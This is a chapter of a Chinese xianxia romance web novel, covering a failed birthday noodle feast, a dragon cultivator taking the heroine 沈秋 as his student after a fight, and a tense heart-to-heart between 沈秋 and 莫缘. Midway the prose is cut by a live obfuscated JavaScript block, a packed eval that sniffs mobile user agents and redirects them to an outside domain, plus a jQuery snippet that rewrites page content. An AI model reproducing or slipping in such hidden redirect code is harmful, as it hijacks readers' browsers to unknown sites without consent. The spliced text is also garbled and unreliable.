60. 约法三章
作品:《话本说我是路人》 再过不久便要过年了,蔺如风和云无界想赶在那之前帮师弟师妹庆生。
前头被找到时他们正热火朝天准备做饭,肉都没切完便跟着莫缘走了。因而这会儿趁沈秋与祁思语还在拌嘴,他们又默无声息钻入小厨房煮面,并招呼莫缘一起。
“庆生?”
“他们都是外头捡来的。师弟记不清日子,十六又不肯说,所幸在年前一块儿过。”云无界解释。
莫缘应下,回房间换了套喜庆的衣裳便过去给他们打下手,煎了好几个圆溜溜的蛋。
可三人都没正经用过厨房,顶多外出历练时架口锅热热米汤,因此本想调味做道香喷喷的酱面,结果肉末炒成了黑糊、味儿咸得能抿出盐来。
他们无奈作罢,换用清水煮面,把猪牛羊一堆肉切片烫熟磊到碗中,意图让面看上去更有滋味。
沈秋坐在屋外,与祁思语一起眼也不眨地看着他们端了有半个院中鱼缸那般大的碗出来,清水混着牛羊的肉味扑鼻而来。
她双唇微不可见地抿了抿。
“哆!”大碗重重放下,蔺如风撒上大把葱花,云无界摆上碗筷,莫缘在每个人碗里放上金黄的煎蛋。
三人有条不紊,做完后齐刷刷盯着他们,眸光发亮。
沈秋在眼神的压力下察觉到味道稍稍丰富了些,总算生出尝试的勇气盛了一碗,低头喝汤。
“……”
她没抬头,夹起面大口咬下。
“……”
嗯,应当是放太多了没煮熟,夹了生不好咬断。更别说入味儿了,那面汤只有浓浓的肉味儿,还是窜在一起的肉味儿。
“如何?”蔺如风满眼期待,却见两位寿星迟迟不抬头,把脸埋在碗里发愣。
祁思语艰难咀嚼口中奇怪的面食,一时说不出话。
沈秋见状连塞数片肉,冲他们竖起大拇指,“还、还不错。”
三人放心落座,嬉笑着给自己装上满满一碗,信心十足捞起面嗦入口中,而后……不约而同定在那儿。
沈秋和祁思语则眼观鼻鼻观心逃避他们的视线。
一片静默。莫缘默默拿过沈秋的筷子翻出埋在碗底的蛋,再把自己的蛋夹给她,“这个一定好吃。”
沈秋夹了回去。
煎蛋确实好吃,至于那“缸”面再没人动过,只把上头的肉片消得干干净净。
这生辰过得十足草率,几人也没说什么漂亮话。见他们吃得差不多了,云无界正色道:“师弟的剑少说需要半年才能好,这半年你们可有打算?”
“我待在这儿,若大师需要材料我好帮忙找找。”祁思语道。
登极岛上的海风还算和煦,沈秋品着微风拂过的清凉,脑中没有太多头绪,“我也待岛上。龙族实力强悍,若能与之对练,必能更上一层。”
“我跟他们一块儿。”莫缘飞快回答。
云无界点点头,“我和师姐乃偏阴体质,此番到黎明海是难得的机会。听闻群岛上机缘颇丰,我二人打算去寻一寻,再找个静谧之地潜心修炼,运气好兴许能够突破。”
这是要分开的意思。黎明海妖兽横行,说不担心不可能,但修士大多喜爱冒险,沈秋说不出阻止的话,只嘱咐道,“到时若需闭关,回来找我们护法。”
他们决定收拾完马上出发。
沈秋端起大碗往小厨房去,没走几步,远处客房房门突然发出巨响,本应昏睡如死猪的伤患大步流星走出来,双眸紧锁她怀中的面,大手一挥隔空将之取走,拾起公筷便呼噜噜吞下半碗。
修士们目瞪口呆。
而那人吞了半碗后很是满意地长吁一声,随即再度低头将剩下半碗全部吃掉,连一滴汤都没留。
“不错!我就喜欢劲道的面!”雌雄莫辨的嗓音中气十足,“沈秋是吧?记住了,我叫落明珠,动手吧!让我看看能给你什么!”
一切发生得太快,此人难以预料地醒来又莫名其妙地动手,但沈秋别有所求,情急之中只来得及朝急着欲走的师姐师兄点头示意,便唤出双剑迎向握拳砸来的落明珠。
“铮——”虎口传来火辣的阵痛,她右腿后撤制住倒退的身形,一口气还没从胸口缓过来,落明珠已经面无表情地再下一拳。
沈秋想避开,但对手可是修炼千年有余且成功化龙的修士,用起移形之术比那些天生龙族还更出神入化。他甚至连武器都没用,没有泄露丝毫所修之道的气息,仅凭强悍肉身狠狠袭来,每一下都带起空气的撕裂与爆鸣。
沈秋勉强接下第二拳,浑身骨头不堪重负地疼起来,手中佩剑颤颤巍巍。
这人!竟两拳就要将她的剑震碎!
这剑虽平庸,但到底是她因迟迟未能悟道遂攒钱求人为自己锻造而得,用材皆是上等,同破铜烂铁那是天壤之别,否则根本撑不到她抵达黎明海。
可眼下剑身上却有了裂纹。
她果断收剑,两手手指并拢挥出剑气。二人攻击相触之时,剑气崩裂甩出无数道弧光绞杀,令落明珠的速度比前两拳稍慢一瞬。
而就在这瞬间,双剑凭空闪现敲击落明珠手腕,但被他敏锐后退躲过。
沈秋有了喘息之机,深呼吸调整灵力运转,脚下步法变换离他远远的。
奇怪的是落明珠没有立刻发起攻击,细细观察她身边跟随而动的两把佩剑,漫不经心的眸子亮起异样的光芒。
“人族最是传统。我见过太多人族剑修,个个恨不得把剑和自己融一块儿,但凡离手都要痛呼不止,一旦丢剑便如丧家之犬般逃窜哀嚎。明明剑道追求的是能化天下之物为剑,他们眼里却只有日夜陪伴他们修炼的剑。”
他眯眼打量沈秋指尖剑气,“你尚未悟道,却是我遇见的第一个这么小年纪便能熟练运用剑气之人,也是第一个如此放心松剑之人。”
这有何稀奇的?沈秋不解,大师姐还放心将剑借给祁思语用呢。
剑随意动是任何剑修都会的能力,她不过是佩剑略次,迫不得已才修得厉害些。
落明珠从她脸上读出明显的不相信,眉头一拧怒道:“你不信我?我见过的人比你吃过的米还多!你居然不信我?地上到处是剑都不能让别人碰的剑修,你没看见是眼瞎吗!”
“……”沈秋想起了骆云河,那个剑被人摸到便会被扫地出门的散修。
她目光往莫缘他们观望的地方移,那边祁思语已经沉浸在大师姐愿意给他佩剑护身的巨大幸福中。
“我不管!无论你对剑道领悟到了哪一层,你这学生我要了!你待在这儿多久,我便带你多久,我们一起把那些自命不凡的天生龙族打得屁滚尿流!让他们看看,如你这般的蝼蚁,亦能踩在他们脸上!”
落明珠目光炯炯,熊熊战意在其中燃烧,他紧紧盯视沈秋,“我对你只有一个要求。”
“请讲。”沈秋集中精神。
落明珠斜起放肆的笑容,“出去记得报我的名号。”
“……”此人真的很自信。沈秋一边腹诽一边行礼,“学生谨遵老师教诲。”
低头的时候,她清楚瞧见莫缘万事大吉般松了口气。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401148|180175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
落明珠仰头长笑离开院子,“明日卯时开始上课,为师先去海里泡泡,照照我这伟岸的龙身……”
祁思语仍在陶醉,莫缘心情大好跑到小厨房里洗碗,洗着洗着便见沈秋跟进来。
“你是不是知道落明珠的身……”
莫缘竖起手掌比了个“停”的手势,“你现在不生气了?”
沈秋一头雾水,“我何时生气了?”
“这几天对我不冷不淡的还没生气?”莫缘加快速度把碗洗净,大力拍打干布把水珠擦干,而后以颇为夸张的姿态抱臂环胸抬起下颌,“行,你不生气,我生气!”
他神情严肃,头顶上不知什么时候剪短的小发揪神气十足。沈秋沉默片刻,没来由地感到些许心虚。
她咳嗽一声,问道:“你为何生气?”
“你那个蛋!”莫缘气得差点跳起来,“夹给你就吃啊!”
沈秋真的很不理解,他究竟为何总能堂而皇之说些做些惹人心神不宁的话,跟那些让姑娘们哭的男子一个德行。
“吃什么吃!”她骤然拔高音量将莫缘吓得噤声,“你我是什么关系?”
“同门?朋友?”莫缘声若蚊蝇,“或者别的别的。”
沈秋直视他,“是同门、是朋友,都不能吃别人碗里的东西。”
“谁说的?蔺师姐云师兄,还有山上的兄弟姐妹他们都这么吃,就你突然不吃了。”莫缘恨恨道。
“……”沈秋战败,脑子乱糟糟一句话说不出。
小小的厨房陷入安静,两人相对而立。昏暗的光从窗外透进来,照亮锅灶所在的一角。
祁思语手捧热茶佯装路过踱至窗边不远处,略微有些担心。这两人从没给对方摆过脸色,更别提面红耳赤地吵。
“你就是气我什么都不跟你说对吧?”
莫缘忽然道,声音很低。
沈秋掩在衣袖下的手捏紧。
莫缘的呼吸在这方角落中变得特别清晰,她细细听着,一呼一吸一呼一吸,好似在打气。
“我要跟你约法三章。”他肃然道。
“你说。”
“第一,所有事情你都可以问我,我会全部记下,时机成熟一定会告诉你,你相信我。”
沈秋想拒绝,但他嘴上说得坚定,眸里却含着哀求。她嗓子微紧,思虑再三还是将反驳咽下。
“第二,你去哪儿都要告诉我,可以不让我跟着,但记得留记号。你脑子和气运都不好,但我的移形术很好用。”
这可以。她点首。
“第三……我还没想好。”
“第三,你会把这本书看完。”沈秋适时接话,把厚重的“友谊之书”拍到他怀里。
莫缘出神片刻,随即把书拍回沈秋手中以报今晚的还蛋之仇,“我想清楚了,既然控制不住那就不用控制。这东西看缘分,是同门、是朋友,也可以是别的。”
他说完跳出小厨房,没敢看她的脸。
沈秋反应变得迟钝,怔在原地久久没动。
“对了沈秋,年底我有些事要忙,得好几天闷房间里,你别找我。”莫缘回头。
她一激灵,“好。”
-
不知过了多久,院中唯剩虫鸟交错的鸣叫,几点星光忽明忽暗缀在天边。沈秋终于走出小厨房慢吞吞挪回房中,愣愣盯着翘起的被角。
他什么意思?
床板晃出沉闷轻响,褥子被扯过去包成卷饼忽左忽右地摊,沈秋痛苦万分。
到底什么意思——!

